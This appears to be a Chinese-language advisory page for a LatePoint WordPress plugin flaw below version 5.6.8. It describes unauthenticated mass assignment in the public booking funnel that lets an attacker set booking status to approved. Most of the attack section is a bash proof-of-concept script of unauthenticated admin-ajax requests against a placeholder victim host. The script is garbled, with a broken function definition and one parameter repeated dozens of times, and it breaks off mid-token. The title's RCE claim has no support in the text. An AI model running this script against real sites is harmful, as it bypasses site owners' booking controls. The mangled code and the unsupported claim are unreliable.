LatePoint <5.6.8 未授权对象注入致预订绕过与RCE

漏洞概述 LatePoint 插件版本低于 5.6.8 存在未授权的对象质量分配漏洞，攻击者可以通过公共预订漏斗设置未授权的预订字段，从而绕过网站的预订审批流程。 影响范围 插件名称: LatePoint 受影响版本: < 5.6.8 修复方案 修复版本: 5.6.8 概念验证 (POC) 代码 ```bash Prerequisites (normal operational LatePoint config): at least one active service, one agent, and work periods (any bookable install Steps (all requests are unauthenticated; no cookie, session, or nonce): BASE="https://victim.example"; JAP=$(mktemp) INJ="booking[status]=approved&booking[agent_id]=1&booking[service_id]=1&booking[location_id]=1&booking[start_date]=2027-04-15&booking[hop][1][curl -s -c "$JAP" -b "$JAP" "$BASE/wp-admin/admin-ajax.php" -X POST \ --data-urlencode "action=latepoint_route_call" --data-urlencode "route_name=$2" \ --data-urlencode "return_format=json" --data-urlencode "params=$3" -o /tmp/$1; ) hop r1 steps_start "$INJ" hop r2 steps_load_step "current_step_code=booking_services&step_direction=next&$INJ" hop r3 steps_load_step "current_step_code=booking_agents&step_direction=next&$INJ" hop r4 steps_load_step "current_step_code=booking_datepicker&step_direction=next&$INJ" hop r5 steps_load_step "current_step_code=customer&step_direction=next&customer[first_name]=&customer[last_name]=&customer[email]=&customer[phone]=&customer[uuid]=&customer[notes]=&customer[metadata]=&customer[tags]=&customer[custom_fields]=&customer[custom_fields_values]=&customer[custom_fields_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&customer[custom_fields_values_labels]=&custo

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

LatePoint <5.6.8 未授权对象注入致预订绕过与RCE

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

LatePoint <5.6.8 未授权对象注入致预订绕过与RCE

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！